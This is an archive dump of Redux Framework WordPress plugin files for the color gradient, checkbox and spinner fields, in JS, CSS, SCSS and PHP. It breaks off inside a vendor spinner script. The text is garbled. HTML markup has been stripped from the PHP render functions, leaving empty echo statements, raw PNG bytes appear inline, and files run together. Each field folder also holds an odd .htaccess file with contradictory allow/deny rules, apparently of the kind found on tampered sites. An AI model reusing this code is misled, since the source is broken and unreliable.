e.target.getAttribute( 'data-id' ) + '-transparency' ).removeAttr( 'checked' ); }, clear: function( e, ui ) { $( this ).val( '' ); redux_change( $( this ).parent().find( '.redux-color-init' ) ); } } ); el.find( '.redux-color' ).on( 'keyup', function() { var value = $( this ).val(); var color = colorValidate( this ); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { el.find( id + '-transparency' ).removeAttr( 'checked' ); if ( color && color !== $( this ).val() ) { $( this ).val( color ); } } } ); // Replace and validate field on blur el.find( '.redux-color' ).on( 'blur', function() { var value = $( this ).val(); var id = '#' + $( this ).attr( 'id' ); if ( value === "transparent" ) { $( this ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); el.find( id + '-transparency' ).attr( 'checked', 'checked' ); } else { if ( colorValidate( this ) === value ) { if ( value.indexOf( "#" ) !== 0 ) { $( this ).val( $( this ).data( 'oldcolor' ) ); } } el.find( id + '-transparency' ).removeAttr( 'checked' ); } } ); // Store the old valid color on keydown el.find( '.redux-color' ).on( 'keydown', function() { $( this ).data( 'oldkeypress', $( this ).val() ); } ); // When transparency checkbox is clicked el.find( '.color-transparency' ).on( 'click', function() { if ( $( this ).is( ":checked" ) ) { el.find( '.redux-saved-color' ).val( $( '#' + $( this ).data( 'id' ) ).val() ); el.find( '#' + $( this ).data( 'id' ) ).val( 'transparent' ); el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', 'transparent' ); } else { if ( el.find( '#' + $( this ).data( 'id' ) ).val() === 'transparent' ) { var prevColor = $( '.redux-saved-color' ).val(); if ( prevColor === '' ) { prevColor = $( '#' + $( this ).data( 'id' ) ).data( 'default-color' ); } el.find( '#' + $( this ).data( 'id' ) ).parent().parent().find( '.wp-color-result' ).css( 'background-color', prevColor ); el.find( '#' + $( this ).data( 'id' ) ).val( prevColor ); } } redux_change( $( this ) ); } ); } ); }; })( jQuery );lib/redux-framework/inc/fields/color_gradient/field_color_gradient.scss000064400000000516147206624460022516 0ustar00.redux-container-color_gradient { .colorGradient { display: inline-block; } .toLabel { padding-left: 18px; } } @media screen and (max-width: 660px) { .redux-container-color_gradient { .colorGradient { display: block; text-align: center !important; } } }lib/redux-framework/inc/fields/color_gradient/field_color_gradient.min.js000064400000004345147206624460022745 0ustar00!function(a){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.color_gradient=redux.field_objects.color_gradient||{},redux.field_objects.color_gradient.init=function(t){t||(t=a(document).find(".redux-group-tab:visible").find(".redux-container-color_gradient:visible")),a(t).each(function(){var i=a(this),t=i;i.hasClass("redux-field-container")||(t=i.parents(".redux-field-container:first")),t.is(":hidden")||t.hasClass("redux-field-init")&&(t.removeClass("redux-field-init"),i.find(".redux-color-init").wpColorPicker({change:function(t,r){a(this).val(r.color.toString()),redux_change(a(this)),i.find("#"+t.target.getAttribute("data-id")+"-transparency").removeAttr("checked")},clear:function(t,r){a(this).val(""),redux_change(a(this).parent().find(".redux-color-init"))}}),i.find(".redux-color").on("keyup",function(){var t=a(this).val(),r=colorValidate(this),e="#"+a(this).attr("id");"transparent"===t?(a(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(e+"-transparency").attr("checked","checked")):(i.find(e+"-transparency").removeAttr("checked"),r&&r!==a(this).val()&&a(this).val(r))}),i.find(".redux-color").on("blur",function(){var t=a(this).val(),r="#"+a(this).attr("id");"transparent"===t?(a(this).parent().parent().find(".wp-color-result").css("background-color","transparent"),i.find(r+"-transparency").attr("checked","checked")):(colorValidate(this)===t&&0!==t.indexOf("#")&&a(this).val(a(this).data("oldcolor")),i.find(r+"-transparency").removeAttr("checked"))}),i.find(".redux-color").on("keydown",function(){a(this).data("oldkeypress",a(this).val())}),i.find(".color-transparency").on("click",function(){if(a(this).is(":checked"))i.find(".redux-saved-color").val(a("#"+a(this).data("id")).val()),i.find("#"+a(this).data("id")).val("transparent"),i.find("#"+a(this).data("id")).parent().parent().find(".wp-color-result").css("background-color","transparent");else if("transparent"===i.find("#"+a(this).data("id")).val()){var t=a(".redux-saved-color").val();""===t&&(t=a("#"+a(this).data("id")).data("default-color")),i.find("#"+a(this).data("id")).parent().parent().find(".wp-color-result").css("background-color",t),i.find("#"+a(this).data("id")).val(t)}redux_change(a(this))}))})}}(jQuery);lib/redux-framework/inc/fields/color_gradient/field_color_gradient.css.map000064400000000375147206624460023112 0ustar00{ "version": 3, "mappings": "AACI,8CAAe;EACX,OAAO,EAAE,YAAY;AAEzB,wCAAS;EACL,YAAY,EAAE,IAAI;;AAI1B,oCAAqC;EAE7B,8CAAe;IACX,OAAO,EAAE,KAAK;IACd,UAAU,EAAE,iBAAiB", "sources": ["field_color_gradient.scss"], "names": [], "file": "field_color_gradient.css" }lib/redux-framework/inc/fields/color_gradient/.htaccess000064400000001626147206624460017264 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/color_gradient/field_color_gradient.php000064400000012751147206624460022336 0ustar00. * * @package ReduxFramework * @subpackage Field_Color_Gradient * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( ! defined( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( ! class_exists( 'ReduxFramework_color_gradient' ) ) { /** * Main ReduxFramework_color_gradient class * * @since 1.0.0 */ class ReduxFramework_color_gradient { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render() { // No errors please $defaults = array( 'from' => '', 'to' => '' ); $this->value = wp_parse_args( $this->value, $defaults ); echo '
    ' . __( 'From ', 'redux-framework' ) . ' '; echo ''; echo ''; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value['from'] == "transparent" ) { $tChecked = ' checked="checked"'; } echo ''; } echo "
    "; echo '
    ' . __( 'To ', 'redux-framework' ) . ' '; if ( ! isset( $this->field['transparent'] ) || $this->field['transparent'] !== false ) { $tChecked = ""; if ( $this->value['to'] == "transparent" ) { $tChecked = ' checked="checked"'; } echo ''; } echo "
    "; } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue() { wp_enqueue_style( 'wp-color-picker' ); wp_enqueue_script( 'redux-field-color-gradient-js', ReduxFramework::$_url . 'inc/fields/color_gradient/field_color_gradient' . Redux_Functions::isMin() . '.js', array( 'jquery', 'wp-color-picker', 'redux-js' ), time(), 'all' ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-color-picker-css' ); wp_enqueue_style( 'redux-field-color_gradient-css', ReduxFramework::$_url . 'inc/fields/color_gradient/field_color_gradient.css', array(), time(), 'all' ); } } } }lib/redux-framework/inc/fields/checkbox/field_checkbox.css.map000064400000000375147206624460020500 0ustar00{ "version": 3, "mappings": "AACI,+BAAM;EACF,cAAc,EAAE,GAAG;EACnB,KAAK,EAAE,IAAI;EAEX,2CAAY;IACR,UAAU,EAAE,CAAC;IACb,KAAK,EAAE,IAAI;IACX,KAAK,EAAE,GAAG;IACV,KAAK,EAAE,IAAI", "sources": ["field_checkbox.scss"], "names": [], "file": "field_checkbox.css" }lib/redux-framework/inc/fields/checkbox/field_checkbox.scss000064400000000347147206624460020106 0ustar00.redux-container-checkbox { label { vertical-align: top; width: 100%; .field-desc { margin-top: 0; float: left; width: 93%; clear: none; } } }lib/redux-framework/inc/fields/checkbox/field_checkbox.js000064400000003373147206624460017551 0ustar00/** * Redux Checkbox * Dependencies : jquery * Feature added by : Dovy Paukstys * Date : 17 June 2014 */ /*global redux_change, wp, redux*/ (function( $ ) { "use strict"; redux.field_objects = redux.field_objects || {}; redux.field_objects.checkbox = redux.field_objects.checkbox || {}; $( document ).ready( function() { //redux.field_objects.checkbox.init(); } ); redux.field_objects.checkbox.init = function( selector ) { if ( !selector ) { selector = $( document ).find( ".redux-group-tab:visible" ).find( '.redux-container-checkbox:visible' ); } $( selector ).each( function() { var el = $( this ); var parent = el; if ( !el.hasClass( 'redux-field-container' ) ) { parent = el.parents( '.redux-field-container:first' ); } if ( parent.is( ":hidden" ) ) { // Skip hidden fields return; } if ( parent.hasClass( 'redux-field-init' ) ) { parent.removeClass( 'redux-field-init' ); } else { return; } el.find( '.checkbox' ).on( 'click', function( e ) { var val = 0; if ( $( this ).is( ':checked' ) ) { val = $( this ).parent().find( '.checkbox-check' ).attr( 'data-val' ); } $( this ).parent().find( '.checkbox-check' ).val( val ); redux_change( $( this ) ); } ); } ); }; })( jQuery ); lib/redux-framework/inc/fields/checkbox/field_checkbox.php000064400000014633147206624460017725 0ustar00. * * @package ReduxFramework * @subpackage Field_Checkbox * @author Daniel J Griffiths (Ghost1227) * @author Dovy Paukstys * @version 3.0.0 */ // Exit if accessed directly if ( !defined ( 'ABSPATH' ) ) { exit; } // Don't duplicate me! if ( !class_exists ( 'ReduxFramework_checkbox' ) ) { /** * Main ReduxFramework_checkbox class * * @since 1.0.0 */ class ReduxFramework_checkbox { /** * Field Constructor. * Required - must call the parent constructor, then assign field and value to vars, and obviously call the render field function * * @since 1.0.0 * @access public * @return void */ function __construct ( $field, $value, $parent ) { $this->parent = $parent; $this->field = $field; $this->value = $value; } /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since 1.0.0 * @access public * @return void */ public function render () { if( !empty( $this->field['data'] ) && empty( $this->field['options'] ) ) { if (empty($this->field['args'])) { $this->field['args'] = array(); } $this->field['options'] = $this->parent->get_wordpress_data($this->field['data'], $this->field['args']); if (empty($this->field['options'])) { return; } } $this->field[ 'data_class' ] = ( isset ( $this->field[ 'multi_layout' ] ) ) ? 'data-' . $this->field[ 'multi_layout' ] : 'data-full'; if ( !empty ( $this->field[ 'options' ] ) && ( is_array ( $this->field[ 'options' ] ) || is_array ( $this->field[ 'default' ] ) ) ) { echo '
      '; if ( !isset ( $this->value ) ) { $this->value = array(); } if ( !is_array ( $this->value ) ) { $this->value = array(); } if ( empty ( $this->field[ 'options' ] ) && isset ( $this->field[ 'default' ] ) && is_array ( $this->field[ 'default' ] ) ) { $this->field[ 'options' ] = $this->field[ 'default' ]; } foreach ( $this->field[ 'options' ] as $k => $v ) { if ( empty ( $this->value[ $k ] ) ) { $this->value[ $k ] = ""; } echo '
    • '; echo ''; echo '
    • '; } echo '
    '; } else if ( empty ( $this->field[ 'data' ] ) ) { echo '
    • '; if ( !empty( $this->field[ 'label' ] ) ) { echo ''; } echo '
    '; } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since 1.0.0 * @access public * @return void */ public function enqueue () { if ($this->parent->args['dev_mode']) { wp_enqueue_style ( 'redux-field-checkbox-css', ReduxFramework::$_url . 'inc/fields/checkbox/field_checkbox.css', array(), time (), 'all' ); } wp_enqueue_script ( 'redux-field-checkbox-js', ReduxFramework::$_url . 'inc/fields/checkbox/field_checkbox' . Redux_Functions::isMin () . '.js', array( 'jquery', 'redux-js' ), time (), true ); } } } lib/redux-framework/inc/fields/checkbox/field_checkbox.min.js000064400000001334147206624460020326 0ustar00!function(c){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.checkbox=redux.field_objects.checkbox||{},c(document).ready(function(){}),redux.field_objects.checkbox.init=function(e){e||(e=c(document).find(".redux-group-tab:visible").find(".redux-container-checkbox:visible")),c(e).each(function(){var e=c(this),i=e;e.hasClass("redux-field-container")||(i=e.parents(".redux-field-container:first")),i.is(":hidden")||i.hasClass("redux-field-init")&&(i.removeClass("redux-field-init"),e.find(".checkbox").on("click",function(e){var i=0;c(this).is(":checked")&&(i=c(this).parent().find(".checkbox-check").attr("data-val")),c(this).parent().find(".checkbox-check").val(i),redux_change(c(this))}))})}}(jQuery);lib/redux-framework/inc/fields/checkbox/field_checkbox.css000064400000000231147206624460017713 0ustar00.redux-container-checkbox label{vertical-align:top;width:100%}.redux-container-checkbox label .field-desc{margin-top:0;float:left;width:93%;clear:none} lib/redux-framework/inc/fields/checkbox/.htaccess000064400000001626147206624460016057 0ustar00 Order allow,deny Deny from all Order allow,deny Allow from all RewriteEngine On RewriteBase / RewriteRule ^index.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . index.php [L] lib/redux-framework/inc/fields/spinner/field_spinner.css000064400000005012147206624460017475 0ustar00.redux-container-spinner .spinner-wrpr{position:relative;display:block;height:30px;overflow:hidden}.redux-container-spinner .spinner-wrpr .spinner-input{position:relative !important;z-index:1;width:45px !important;height:30px !important;background:#e7e7e7 !important;border:1px solid #bfbfbf !important;border-right:0 !important;border-left:0 !important;-webkit-border-radius:0 !important;-moz-border-radius:0 !important;border-radius:0 !important}.redux-container-spinner .ui-spinner{position:static;display:inline}.redux-container-spinner .ui-spinner-buttons{position:absolute;padding:0}.redux-container-spinner .ui-widget .ui-spinner-button{position:absolute;top:0;padding:0 0 30px;overflow:hidden;cursor:pointer;background:-moz-linear-gradient(#fff, #f3f3f3);background:-o-linear-gradient(#fff, #f3f3f3);background:-webkit-gradient(linear, left top, left bottom, from(#fff), to(#f3f3f3));background:linear-gradient(#fff, #f3f3f3);background-color:#ffffff;border:none;-webkit-box-shadow:none;-moz-box-shadow:none;box-shadow:none}.redux-container-spinner .ui-spinner-button:hover,.redux-container-spinner .ui-state-hover{background:-moz-linear-gradient(#f3f3f3, #fff);background:-o-linear-gradient(#f3f3f3, #fff);background:-webkit-gradient(linear, left top, left bottom, from(#f3f3f3), to(#fff));background:linear-gradient(#f3f3f3, #fff);background-color:#f3f3f3}.redux-container-spinner .ui-corner-tr,.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{-webkit-border-radius:0 5px 5px 0;-moz-border-radius:0 5px 5px 0;border-radius:0 5px 5px 0}.redux-container-spinner .ui-corner-br,.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{-webkit-border-radius:5px 0 0 5px;-moz-border-radius:5px 0 0 5px;border-radius:5px 0 0 5px}.redux-container-spinner .ui-spinner-button .ui-icon{top:0;display:block;width:28px;height:28px;margin:0;border:1px solid #b7b7b7}.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-n{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat !important}.redux-container-spinner .ui-spinner-button .ui-icon-triangle-1-s{background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat !important} lib/redux-framework/inc/fields/spinner/arrow_left.png000064400000000226147206624460017016 0ustar00PNG  IHDR /3tEXtSoftwareAdobe ImageReadyqe<8IDATxb?:nii. H %aq&?NW!K2eQH QܥWVIENDB`lib/redux-framework/inc/fields/spinner/field_spinner.min.js000064400000002743147206624460020113 0ustar00!function(s){"use strict";redux.field_objects=redux.field_objects||{},redux.field_objects.spinner=redux.field_objects.spinner||{},s(document).ready(function(){}),redux.field_objects.spinner.init=function(n){n||(n=s(document).find(".redux-group-tab:visible").find(".redux-container-spinner:visible")),s(n).each(function(){var n=s(this),e=n;n.hasClass("redux-field-container")||(e=n.parents(".redux-field-container:first")),e.is(":hidden")||e.hasClass("redux-field-init")&&(e.removeClass("redux-field-init"),n.find(".redux_spinner").each(function(){var t=s(this).find(".spinner-input").data();t.id=s(this).find(".spinner-input").attr("id"),n.find("#"+t.id).spinner({value:parseFloat(t.val,null),min:parseFloat(t.min,null),max:parseFloat(t.max,null),step:parseFloat(t.step,null),range:"min",slide:function(n,e){var i=s("#"+t.id);i.val(e.value),redux_change(i)}});parseInt(t.min,null)}),n.find(".spinner-input").keyup(function(){s(this).addClass("spinnerInputChange")}),n.find(".spinner-input").focus(function(){redux.field_objects.spinner.clean(s(this).val(),s(this))}),n.find(".spinner-input").typeWatch({callback:function(n){redux.field_objects.spinner.clean(n,s(this))},wait:500,highlight:!1,captureLength:1}))})},redux.field_objects.spinner.clean=function(n,e){if(e.hasClass("spinnerInputChange")){e.removeClass("spinnerInputChange");var i=e.data();n=""===(n=parseFloat(n))||null===n?i.min:n>=parseInt(i.max)?i.max:n<=parseInt(i.min)?i.min:Math.round(n/i.step)*i.step,e.val(n).trigger("change")}}}(jQuery);lib/redux-framework/inc/fields/spinner/field_spinner.php000064400000014260147206624460017501 0ustar00parent = $parent; $this->field = $field; $this->value = $value; } //function /** * Field Render Function. * Takes the vars and outputs the HTML for the field in the settings * * @since ReduxFramework 3.0.0 */ function render() { $params = array( 'min' => '', 'max' => '', 'step' => '', 'default' => '', ); $this->field = wp_parse_args( $this->field, $params ); $data_string = ""; foreach($this->field as $key => $val) { if (in_array($key, array('min', 'max', 'step', 'default'))) { $data_string.= " data-".$key.'="'.$val.'"'; } } $data_string .= ' data-val="'.$val.'"'; // Don't allow input edit if there's a step $readonly = ""; if ( isset( $this->field['edit'] ) && $this->field['edit'] == false ) { $readonly = ' readonly="readonly"'; } echo '
    '; echo ''; echo '
    '; } //function /** * Clean the field data to the fields defaults given the parameters. * * @since Redux_Framework 3.1.1 */ function clean() { if ( empty( $this->field['min'] ) ) { $this->field['min'] = 0; } else { $this->field['min'] = intval( $this->field['min'] ); } if ( empty( $this->field['max'] ) ) { $this->field['max'] = intval( $this->field['min'] ) + 1; } else { $this->field['max'] = intval( $this->field['max'] ); } if ( empty( $this->field['step'] ) || $this->field['step'] > $this->field['max'] ) { $this->field['step'] = 1; } else { $this->field['step'] = intval( $this->field['step'] ); } if ( empty( $this->value ) && ! empty( $this->field['default'] ) && intval( $this->field['min'] ) >= 1 ) { $this->value = intval( $this->field['default'] ); } if ( empty( $this->value ) && intval( $this->field['min'] ) >= 1 ) { $this->value = intval( $this->field['min'] ); } if ( empty( $this->value ) ) { $this->value = 0; } // Extra Validation if ( $this->value < $this->field['min'] ) { $this->value = intval( $this->field['min'] ); } else if ( $this->value > $this->field['max'] ) { $this->value = intval( $this->field['max'] ); } } /** * Enqueue Function. * If this field requires any scripts, or css define this function and register/enqueue the scripts/css * * @since ReduxFramework 3.0.0 */ function enqueue() { wp_enqueue_script( 'redux-field-spinner-custom-js', ReduxFramework::$_url . 'inc/fields/spinner/vendor/spinner_custom.js', array( 'jquery','redux-js' ), time(), true ); wp_enqueue_script( 'redux-field-spinner-js', ReduxFramework::$_url . 'inc/fields/spinner/field_spinner' . Redux_Functions::isMin() . '.js', array( 'jquery', 'redux-field-spinner-custom-js', 'jquery-ui-core', 'jquery-ui-dialog', 'redux-js' ), time(), true ); if ($this->parent->args['dev_mode']) { wp_enqueue_style( 'redux-field-spinner-css', ReduxFramework::$_url . 'inc/fields/spinner/field_spinner.css', array(), time(), 'all' ); } } public function output() { $style = ''; if ( ! empty( $this->value ) ) { if ( ! empty( $this->field['output'] ) && is_array( $this->field['output'] ) ) { $css = $this->parseCSS($this->value, $this->field['output']); $this->parent->outputCSS .= $css; } if ( ! empty( $this->field['compiler'] ) && is_array( $this->field['compiler'] ) ) { $css = $this->parseCSS($this->value, $this->field['compiler']); $this->parent->compilerCSS .= $css; } } } private function parseCSS($value, $output){ // No notices $css = ''; $unit = isset($this->field['output_unit']) ? $this->field['output_unit'] : 'px'; // Must be an array if (is_numeric($value)) { if (is_array($output)) { foreach($output as $mode => $selector) { if (!empty($mode) && !empty($selector)) { $css .= $selector . '{' . $mode . ': ' . $value . $unit . ';}'; } } } } return $css; } } }lib/redux-framework/inc/fields/spinner/field_spinner.scss000064400000006212147206624460017663 0ustar00.redux-container-spinner { .spinner-wrpr { position: relative; display: block; height: 30px; overflow: hidden; .spinner-input { position: relative !important; z-index: 1; width: 45px !important; height: 30px !important; background: #e7e7e7 !important; border: 1px solid #bfbfbf !important; border-right: 0 !important; border-left: 0 !important; -webkit-border-radius: 0 !important; -moz-border-radius: 0 !important; border-radius: 0 !important; } } .ui-spinner { position: static; display: inline; } .ui-spinner-buttons { position: absolute; padding: 0; } .ui-widget .ui-spinner-button { position: absolute; top: 0; padding: 0 0 30px; overflow: hidden; cursor: pointer; background: -moz-linear-gradient(#ffffff, #f3f3f3); background: -o-linear-gradient(#ffffff, #f3f3f3); background: -webkit-gradient(linear, left top, left bottom, from(#ffffff), to(#f3f3f3)); background: linear-gradient(#ffffff, #f3f3f3); background-color: #ffffff; border: none; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .ui-spinner-button:hover, .ui-state-hover { background: -moz-linear-gradient(#f3f3f3, #ffffff); background: -o-linear-gradient(#f3f3f3, #ffffff); background: -webkit-gradient(linear, left top, left bottom, from(#f3f3f3), to(#ffffff)); background: linear-gradient(#f3f3f3, #ffffff); background-color: #f3f3f3; } .ui-corner-tr, .ui-spinner-button .ui-icon-triangle-1-n { -webkit-border-radius: 0 5px 5px 0; -moz-border-radius: 0 5px 5px 0; border-radius: 0 5px 5px 0; } .ui-corner-br, .ui-spinner-button .ui-icon-triangle-1-s { -webkit-border-radius: 5px 0 0 5px; -moz-border-radius: 5px 0 0 5px; border-radius: 5px 0 0 5px; } .ui-spinner-button { .ui-icon { top: 0; display: block; width: 28px; height: 28px; margin: 0; border: 1px solid #b7b7b7; } .ui-icon-triangle-1-n { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADxJREFUeNpsjwsKADAIQu3u3tsRY6M5gz7w0AqSQFLdZ3ZRgmf44JQ/EOZ9oYOsiDviVemP2oYoWCwBBgDpO6VXVo3RyQAAAABJRU5ErkJggg==) 10px 10px no-repeat!important; } .ui-icon-triangle-1-s { background: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAYAAAAKCAYAAACXDi8zAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAADhJREFUeNpi+P//PwM6bmlpwS4IorEKokggC8Il0AVhEv9x6sAmiaz9P05XIUsygmVRAUiAESDAAFHcpVdWtdj/AAAAAElFTkSuQmCC) 10px 10px no-repeat!important; } } } @media screen and (max-width: 570px) { .redux-container-spinner { .spinner-wrpr { //text-align: center; // Need to center align this SOMEHOW } } }lib/redux-framework/inc/fields/spinner/vendor/spinner_custom.min.js000064400000017452147206624460021642 0ustar00(function(a,b){var c="ui-state-active",d="ui-state-hover",e="ui-state-disabled",f=a.ui.keyCode,g=f.UP,h=f.DOWN,i=f.RIGHT,j=f.LEFT,k=f.PAGE_UP,l=f.PAGE_DOWN,m=f.HOME,n=f.END,o=a.browser.msie,p=a.browser.mozilla?"DOMMouseScroll":"mousewheel",q=".uispinner",r=[g,h,i,j,k,l,m,n,f.BACKSPACE,f.DELETE,f.TAB],s;a.widget("ui.spinner",{options:{min:null,max:null,allowNull:false,group:"",point:".",prefix:"",suffix:"",places:null,defaultStep:1,largeStep:10,mouseWheel:true,increment:"slow",className:null,showOn:"always",width:95,upIconClass:"ui-icon-triangle-1-n",downIconClass:"ui-icon-triangle-1-s",format:function(a,b){var c=this,d=/(\d+)(\d{3})/,e=(isNaN(a)?0:Math.abs(a)).toFixed(b)+"";for(e=e.replace(".",c.point);d.test(e)&&c.group;e=e.replace(d,"$1"+c.group+"$2")){}return(a<0?"-":"")+c.prefix+e+c.suffix},parse:function(a){var b=this;if(b.group==".")a=a.replace(".","");if(b.point!=".")a=a.replace(b.point,".");return parseFloat(a.replace(/[^0-9\-\.]/g,""))}},_create:function(){var a=this,b=a.element,c=b.attr("type");if(!b.is("input")||c!="text"&&c!="number"){console.error("Invalid target for ui.spinner");return}a._procOptions(true);a._createButtons(b);if(!b.is(":enabled"))a.disable()},_createButtons:function(b){function R(){if(L){a(this).removeClass(c);p._stopSpin();L=false}return false}function Q(){if(!t.disabled){var b=p.element[0],d=this===C?1:-1;b.focus();b.select();a(this).addClass(c);L=true;p._startSpin(d)}return false}function P(a){function b(){G=0;a()}if(G){if(a===H)return;clearTimeout(G)}H=a;G=setTimeout(b,100)}function O(a,b){if(K)return false;var c=String.fromCharCode(b||a),d=p.options;if(c>="0"&&c<="9"||c=="-")return false;if(p.places>0&&c==d.point||c==d.group)return false;return true}function N(a){for(var b=0;b').css({width:(p.oWidth=x?b.width():b.outerWidth())-v,marginRight:"30px",marginLeft:"30px",textAlign:"center","float":"none",marginTop:0}).after('').next(),B=p.btnContainer=a('
    '+'
    '+'
    '+"
    "),C,D,E,F,G,H,I,J,K,L,M=b[0].dir=="rtl";if(u)A.addClass(u);A.append(B.css({height:y,left:0,top:0}));E=p.buttons=B.find(".ui-spinner-button");E.css({width:"30px",height:y-(x?E.outerHeight()-E.height():0)});E.eq(0).css({right:"0"});E.eq(1).css({left:"0"});C=E[0];D=E[1];F=E.find(".ui-icon");B.width("105px");if(w!="always")B.css("opacity",0);if(w=="hover"||w=="both")E.add(b).bind("mouseenter"+q,function(){P(function(){I=true;if(!p.focused||w=="hover")p.showButtons()})}).bind("mouseleave"+q,function S(){P(function(){I=false;if(!p.focused||w=="hover")p.hideButtons()})});E.hover(function(){p.buttons.removeClass(d);if(!t.disabled)a(this).addClass(d)},function(){a(this).removeClass(d)}).mousedown(Q).mouseup(R).mouseout(R);if(o)E.dblclick(function(){if(!t.disabled){p._change();p._doSpin((this===C?1:-1)*t.step)}return false}).bind("selectstart",function(){return false});b.bind("keydown"+q,function(b){var d,e,f,o=b.keyCode;if(b.ctrl||b.alt)return true;if(N(o))K=true;if(J)return false;switch(o){case g:case k:d=1;e=o==k;break;case h:case l:d=-1;e=o==l;break;case i:case j:d=o==i^M?1:-1;break;case m:f=p.options.min;if(f!=null)p._setValue(f);return false;case n:f=p.options.max;f=p.options.max;if(f!=null)p._setValue(f);return false}if(d){if(!J&&!t.disabled){keyDir=d;a(d>0?C:D).addClass(c);J=true;p._startSpin(d,e)}return false}}).bind("keyup"+q,function(a){if(a.ctrl||a.alt)return true;if(N(f))K=false;switch(a.keyCode){case g:case i:case k:case h:case j:case l:E.removeClass(c);p._stopSpin();J=false;return false}}).bind("keypress"+q,function(a){if(O(a.keyCode,a.charCode))return false}).bind("change"+q,function(){p._change()}).bind("focus"+q,function(){function a(){p.element.select()}o?a():setTimeout(a,0);p.focused=true;s=p;if(!I&&(w=="focus"||w=="both"))p.showButtons()}).bind("blur"+q,function(){p.focused=false;if(!I&&(w=="focus"||w=="both"))p.hideButtons()})},_procOptions:function(a){var b=this,c=b.element,d=b.options,e=d.min,f=d.max,g=d.step,h=d.places,i=-1,j;if(d.increment=="slow")d.increment=[{count:1,mult:1,delay:250},{count:3,mult:1,delay:100},{count:0,mult:1,delay:50}];else if(d.increment=="fast")d.increment=[{count:1,mult:1,delay:250},{count:19,mult:1,delay:100},{count:80,mult:1,delay:20},{count:100,mult:10,delay:20},{count:0,mult:100,delay:20}];if(e==null&&(j=c.attr("min"))!=null)e=parseFloat(j);if(f==null&&(j=c.attr("max"))!=null)f=parseFloat(j);if(!g&&(j=c.attr("step"))!=null)if(j!="any"){g=parseFloat(j);d.largeStep*=g}d.step=g=g||d.defaultStep;if(h==null&&(j=g+"").indexOf(".")!=-1)h=j.length-j.indexOf(".")-1;b.places=h;if(f!=null&&e!=null){if(e>f)e=f;i=Math.max(Math.max(i,d.format(f,h,c).length),d.format(e,h,c).length)}if(a)b.inputMaxLength=c[0].maxLength;j=b.inputMaxLength;if(j>0){i=i>0?Math.min(j,i):j;j=Math.pow(10,i)-1;if(f==null||f>j)f=j;j=-(j+1)/10+1;if(e==null||e0)c.attr("maxlength",i);d.min=e;d.max=f;b._change();c.unbind(p+q);if(d.mouseWheel)c.bind(p+q,b._mouseWheel)},_mouseWheel:function(b){var c=a.data(this,"spinner");if(!c.options.disabled&&c.focused&&s===c){c._change();c._doSpin(((b.wheelDelta||-b.detail)>0?1:-1)*c.options.step);return false}},_setTimer:function(a,b,c){function e(){d._spin(b,c)}var d=this;d._stopSpin();d.timer=setInterval(e,a)},_stopSpin:function(){if(this.timer){clearInterval(this.timer);this.timer=0}},_startSpin:function(a,b){var c=this,d=c.options,e=d.increment;c._change();c._doSpin(a*(b?c.options.largeStep:c.options.step));if(e&&e.length>0){c.counter=0;c.incCounter=0;c._setTimer(e[0].delay,a,b)}},_spin:function(a,b){var c=this,d=c.options.increment,e=d[c.incCounter];c._doSpin(a*e.mult*(b?c.options.largeStep:c.options.step));c.counter++;if(c.counter>e.count&&c.incCounter0?b.options.min:b.options.max)||0;b._setValue(c+a)},_parseValue:function(){var a=this.element.val();return a?this.options.parse(a,this.element):null},_validate:function(a){var 